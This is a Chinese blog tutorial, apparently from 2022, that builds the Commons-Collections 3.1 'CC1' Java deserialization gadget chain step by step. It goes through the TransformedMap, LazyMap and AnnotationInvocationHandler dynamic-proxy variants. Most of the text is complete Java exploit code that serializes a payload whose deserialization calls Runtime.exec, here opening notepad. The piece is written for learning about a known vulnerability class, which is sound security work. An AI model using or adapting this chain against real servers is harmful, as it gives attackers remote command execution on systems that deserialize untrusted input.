混子 2022-08-24 18:01 北京

当完美主义者遇到Java反序列化

本文约4000字，阅读约需9分钟。

可能之前看Java CC1链的文章时，那复杂的玩法给我留下了阴影，这篇文章自己迟迟没有动笔——毕竟有TransformedMap玩法，还有LazyMap玩法，最终还得借助AnnotationInvocationHandler或动态代理，看着就令人头大。

但我可以拖延，洞却不会等着我。自己如果不加快节奏，洞就要和我说再见了。

咬牙鼓劲，遂出此文。

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CC

首先，还是先说下Commons-Collections吧。它的功能是为Java标准的Collections API提供了相当好的补充，对其常用的数据结构操作进行了很好的封装和抽象。保证性能的同时大大简化代码。

此包的类包含下面两个：

Map
Commons Collections在java.util.Map的基础上扩展了很多接口和类，比较有代表性的是BidiMap、MultiMap和LazyMap。跟Bag和Buffer类似，Commons Collections也提供了一个MapUtils。

所谓BidiMap，直译就是双向Map，可以通过key找到value，也可以通过value找到key，这在我们日常的代码-名称匹配的时候很方便：因为我们除了需要通过代码找到名称之外，往往也需要处理用户输入的名称，然后获取其代码。需要注意的是BidiMap当中不光key不能重复，value也不可以。

所谓MultiMap，就是说一个key不再是简单的指向一个对象，而是一组对象，add()和remove()的时候跟普通的Map无异，只是在get()时返回一个Collection，利用MultiMap，我们就可以很方便的往一个key上放数量不定的对象，也就实现了一对多。

所谓LazyMap，意思就是这个Map中的键/值对一开始并不存在，当被调用到时才创建。
https://www.iteye.com/blog/duohuoteng-1630329

Transformer
我们有时候需要将某个对象转换成另一个对象供另一组方法调用，而这两类对象的类型有可能并不是出于同一个继承体系的，或者说出了很基本的Object之外没有共同的父类，或者我们根本不关心他们是不是有其他继承关系，甚至就是同一个类的实例只是对我们而言无所谓，我们为了它能够被后续的调用者有意义的识别和处理，在这样的情形，我们就可以利用Transformer。除了基本的转型Transformer之外，Commons Collections还提供了Transformer链和带条件的Transformer，使得我们很方便的组装出有意义的转型逻辑。
https://blog.csdn.net/liliugen/article/details/83298363

重点要关注这两个类Map、Transformer。接下来包的问题，直接上maven仓库拉就好了：

最重要的一点：CC包版本需要为3.1-3.2.1，别看3.0和3.1只差个0.1，却可能导致弹不出记事本。我这次用的是3.1。

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构造利用链

这一步建议使用jdk7，jdk8可能会出错。

InvokerTransformer

首先，来看反射机制触发函数InvokerTransformer类的transform(Object input)：

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {        this.iMethodName = methodName; //函数名        this.iParamTypes = paramTypes; //函数参数的类型        this.iArgs = args;             //参数对象}public Object transform(Object input) {Class cls = input.getClass();     //获取input的类Method method = cls.getMethod(this.iMethodName, this.iParamTypes); //调用方法return method.invoke(input, this.iArgs);              //执行}

通过Java反射机制，我们可以构造一个命令执行：

public static void main(String[] args) throws Exception {        //payload        InvokerTransformer x = new InvokerTransformer(                "exec",                new Class[]{String.class},                new String[]{"notepad"});

        //服务端        Object d = Class.forName("java.lang.Runtime")                .getMethod("getRuntime")                .invoke(Class.forName("java.lang.Runtime"));        x.transform(d);    }

但是，这似乎不太现实，服务端给咱专门来了个：

Object d = Class.forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(Class.forName(“java.lang.Runtime”))

还得接着优化。

ChainedTransformer

接下来我们看这个类ChainedTransformer的transform函数：

public Object transform(Object object) {        for(int i = 0; i < this.iTransformers.length; ++i) {            object = this.iTransformers[i].transform(object);        }

        return object;}

由此函数可知，输入的对象会给第一个转化器，转换结果会被输入到第二个转换器，以此类推。

再看ChainedTransformer类的构造函数，发现iTransformers数组是用户自己定义的：

public ChainedTransformer(Transformer[] transformers) {        this.iTransformers = transformers;    }

接下来我们构造一下，运行：

public static void main(String[] args) throws Exception {        //payload        Transformer[] x = new Transformer[]{                new InvokerTransformer(                        "exec",                        new Class[]{String.class},                        new String[]{"notepad"})        };        Transformer d = new ChainedTransformer(x);

        //服务端        Object a = Class.forName("java.lang.Runtime")                .getMethod("getRuntime")                .invoke(Class.forName("java.lang.Runtime"));        d.transform(a);    }

看似和第一步没什么区别，但其实是在为后面做铺垫。

ConstantTransformer

ConstantTransformer类与InvokkerTransformer一样，继承Transforme父类，可以进入数组。主要看该类的下面两个函数：

public ConstantTransformer(Object constantToReturn) {        this.iConstant = constantToReturn;} public Object transform(Object input) {        return this.iConstant;}

在此对其修改，由于Runtime.getRuntime()实例已经放进payload里面，transform函数有无参数都不重要，因为ConstantTransformer类的transform函数会返会iConstant值，也就是最开始我们构造函数设置好的：

public static void main(String[] args) throws Exception {        //payload        Transformer[] x = new Transformer[]{                new ConstantTransformer(Runtime.getRuntime()),                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})        };        Transformer d = new ChainedTransformer(x);

        //payload序列化写入文件，当作网络传输        FileOutputStream f = new FileOutputStream("payload.bin");        ObjectOutputStream fout = new ObjectOutputStream(f);        fout.writeObject(d);

        //服务端反序列化payload读取        FileInputStream f1 = new FileInputStream("payload.bin");        ObjectInputStream f2 = new ObjectInputStream(f1);

        Transformer a = (ChainedTransformer) f2.readObject();

        d.transform(null);}

这次之所以这样写，是因为前面的序列化和不序列化结果都一样，这次如果不序列化，看不出问题。

果然报错，Runtime类的定义没有继承Serializable类，是不支持反序列化的。

服务端生成Runtime实例

Runtime的实例是通过Runtime.getRuntime()来获取的，而InvokerTransformer里面的反射机制可以执行任意函数，我们让其执行getRuntime，从而使其成为实例。

把数组修改成如下：

Transformer[] x = new Transformer[]{                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getRuntime",new Class[]{},new Object[]{}),                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})        };

结果报错了，跟踪一下：

由于是类缘故，所以input.getClass获取的是java.lang.Class。

调整一下，借用getMethod方法执行getRuntime。

Transformer[] x = new Transformer[]{                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})         };

跟踪到x[1]进去transform函数，发现获取的类还不是Runtime实例。

再对其调整：

Transformer[] x = new Transformer[]{                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})        };

终于成功了。

其实是等同于反射语句：

public static void main(String[] args) throws Exception {        //x[0],object=""        Class s = Class.forName("java.lang.Class");        //x[1],object="java.lang.Runtime"        Object o = s.getMethod("getMethod", new Class[]{String.class, Class[].class}).invoke(Class.forName("java.lang.Runtime"), "getRuntime", new Class[0]);        System.out.println(o + "\n\n");        //x[2],object="java.lang.Runtime.getRuntime()"        s = o.getClass();        o = s.getMethod("invoke", new Class[]{Object.class, Object[].class}).invoke(o, null, new Object[0]);        System.out.println(s + "\n" + o + "\n\n");        //x[3],object=        Object o1 = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));        System.out.println(o1);}

可以看出，O和O1结果是一样的，但是服务端应该也不会执行。

Transformer a = (ChainedTransformer) f2.readObject();d.transform(null);

还得继续优化。深思熟虑后，上Map。

这里有两种Map都可以实现，一种是TransformedMap，另一种LazyMap，ysoserial用的是第二种，下面我会分别聊这两种实现方法。

TransformedMap

首先，看下TransformedMap类，发现当该类在调用put函数时，会执行transform函数，最后的执行结果会被添加到Map里：

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {    return new TransformedMap(map, keyTransformer, valueTransformer);}protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {    super(map);    this.keyTransformer = keyTransformer;    this.valueTransformer = valueTransformer;}protected Object transformKey(Object object) {    return this.keyTransformer == null ? object : this.keyTransformer.transform(object);}

protected Object transformValue(Object object) {    return this.valueTransformer == null ? object : this.valueTransformer.transform(object);}public Object put(Object key, Object value) {    key = this.transformKey(key);    value = this.transformValue(value);    return this.getMap().put(key, value);}

于是，我就尝试了一下：

interface Test extends Transformer {    public Object transform(Object input);}

class Test1 implements Test, Transformer {    public Object transform(Object input) {        return "x";    }}

class Test2 implements Test {    public Object transform(Object input) {        return "d";    }}

public class cc1 {    public static void main(String[] args) throws Exception {        Map innerMap = new HashMap();        System.out.println(innerMap);        Map map = TransformedMap.decorate(innerMap, new Test1(), new Test2());        map.put("value", "value");        System.out.println(map);    }}

结果也是和我想象一样，Map输出为{x=d}。

借助这个类，我们修改一下，再尝试一次：

public class cc1 {    public static void main(String[] args) throws Exception {        //payload        Transformer[] x = new Transformer[]{                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})        };        Transformer d = new ChainedTransformer(x);        Map map = new HashMap();        map.put("value", "value");        Map map1 = TransformedMap.decorate(map, null, d);                //payload序列化写入文件，当作网络传输        FileOutputStream f = new FileOutputStream("payload.bin");        ObjectOutputStream fout = new ObjectOutputStream(f);        fout.writeObject(map1);

        //服务端反序列化payload读取        FileInputStream f1 = new FileInputStream("payload.bin");        ObjectInputStream f2 = new ObjectInputStream(f1);

        Map map2 = (Map) f2.readObject();        map2.put("value", "1");



    }}

这次就合理起来了。服务端执行Map应该问题不大。但是我们要追求完美，要让它只执行一个readObject就弹出记事本。

AnnotationInvocationHandler的readObject复写点

看看AnnotationInvocationHandler类下的readObject函数，发现在里面有赋值操作var5.setValue，不管它值是什么，总之只要赋值就能执行我们的命令：

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {   var1.defaultReadObject();   AnnotationType var2 = null;

   try {       var2 = AnnotationType.getInstance(this.type);   } catch (IllegalArgumentException var9) {       throw new InvalidObjectException("Non-annotation type in annotation serial stream");   }

   Map var3 = var2.memberTypes();   Iterator var4 = this.memberValues.entrySet().iterator();

   while(var4.hasNext()) {       Entry var5 = (Entry)var4.next();       String var6 = (String)var5.getKey();       Class var7 = (Class)var3.get(var6);       if (var7 != null) {           Object var8 = var5.getValue();           if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {               var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));           }       }   }

}

顺势改下代码，由于AnnotationInvocationHandler类的构造函数的第一个参数继承Annotation，所以第一个变量可以在该包底选一个：

public class cc1 {    public static void main(String[] args) throws Exception {        //payload        Transformer[] x = new Transformer[]{                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})        };        Transformer d = new ChainedTransformer(x);        Map map = new HashMap();        map.put("key", "key");        Map map1 = TransformedMap.decorate(map, null, d);        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor ct = cls.getDeclaredConstructor(Class.class, Map.class);        ct.setAccessible(true);        Object o = ct.newInstance(Documented.class, map1);        //payload序列化写入文件，当作网络传输        FileOutputStream f = new FileOutputStream("payload.bin");        ObjectOutputStream fout = new ObjectOutputStream(f);        fout.writeObject(o);

        //服务端反序列化payload读取        FileInputStream f1 = new FileInputStream("payload.bin");        ObjectInputStream f2 = new ObjectInputStream(f1);

        f2.readObject();



    }}

发现var3里面有一组Map数据，会把用户输入的Map数据的每一组key值在其var3寻找，有则不为空，进入判断则可执行。

LazyMap

看看LazyMap类，发现其get函数在获取key所对应的数据时，如果当key不存在，则调用transform函数，并把执行结果作为该key所对应的数据，并添加到到Map里面：

public static Map decorate(Map map, Transformer factory) {    return new LazyMap(map, factory);}protected LazyMap(Map map, Factory factory) {    super(map);    if (factory == null) {        throw new IllegalArgumentException("Factory must not be null");    } else {        this.factory = FactoryTransformer.getInstance(factory);    }}public Object get(Object key) {    if (!super.map.containsKey(key)) {        Object value = this.factory.transform(key);        super.map.put(key, value);        return value;    } else {        return super.map.get(key);    }}

用这个Map改的话，如下：

public class cc1 {    public static void main(String[] args) throws Exception {

        //payload        Transformer[] x = new Transformer[]{                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})        };        Transformer d = new ChainedTransformer(x);        Map map = new HashMap();        Map map1 = LazyMap.decorate(map, d);        map1.get("key");    }}

不完美，还是不完美。

动态代理

我们看一段代码，运行发现，程序执行了invoke方法：

class expHandler implements InvocationHandler {    protected Map map;

    public expHandler(Map map) {        this.map = map;    }

    @Override    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {        if (method.getName().compareTo("put") == 0) {            System.out.println("Hook Method: " + method.getName());            map.put("hi", "xd");        }        return method.invoke(this.map, args);    }}

public class cc1 {    public static void main(String[] args) throws Exception {        InvocationHandler handler = new expHandler(new HashMap());        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);        proxyMap.put("hi", "sir");        System.out.println(proxyMap);}

发现输出的结果是先去执行invoke，当匹配不到，则按正常执行。

AnnotationInvocationHandler类其实和InvocationHandler差不多里都有invoke，AnnotationInvocationHandler类下的invoke里面使用的get函数，所以从这里切入：

public Object invoke(Object var1, Method var2, Object[] var3) {    String var4 = var2.getName();    Class[] var5 = var2.getParameterTypes();    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {        return this.equalsImpl(var3[0]);    } else if (var5.length != 0) {        throw new AssertionError("Too many parameters for an annotation method");    } else {        byte var7 = -1;        switch(var4.hashCode()) {        case -1776922004:            if (var4.equals("toString")) {                var7 = 0;            }            break;        case 147696667:            if (var4.equals("hashCode")) {                var7 = 1;            }            break;        case 1444986633:            if (var4.equals("annotationType")) {                var7 = 2;            }        }

        switch(var7) {        case 0:            return this.toStringImpl();        case 1:            return this.hashCodeImpl();        case 2:            return this.type;        default:            Object var6 = this.memberValues.get(var4);            if (var6 == null) {                throw new IncompleteAnnotationException(this.type, var4);            } else if (var6 instanceof ExceptionProxy) {                throw ((ExceptionProxy)var6).generateException();            } else {                if (var6.getClass().isArray() && Array.getLength(var6) != 0) {                    var6 = this.cloneArray(var6);                }

                return var6;            }        }    }}

通过这些，我们修改代码：

public class cc1 {    public static void main(String[] args) throws Exception {        //payload        Transformer[] x = new Transformer[]{                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})        };        Transformer d = new ChainedTransformer(x);        Map map = new HashMap();        Map map1 = LazyMap.decorate(map, d);                Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor ct = cls.getDeclaredConstructor(Class.class, Map.class);        ct.setAccessible(true);                InvocationHandler handler = (InvocationHandler) ct.newInstance(Target.class, map1);        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);        Object o = ct.newInstance(Target.class, proxyMap);  //这样写也可handler = (InvocationHandler) ct.newInstance(Retention.class, proxyMap);

        //payload序列化写入文件，当作网络传输        FileOutputStream f = new FileOutputStream("payload.bin");        ObjectOutputStream fout = new ObjectOutputStream(f);        fout.writeObject(o);  //如果用的后面那种，则把o换成handler

        //服务端反序列化payload读取        FileInputStream f1 = new FileInputStream("payload.bin");        ObjectInputStream f2 = new ObjectInputStream(f1);

        f2.readObject();

    }}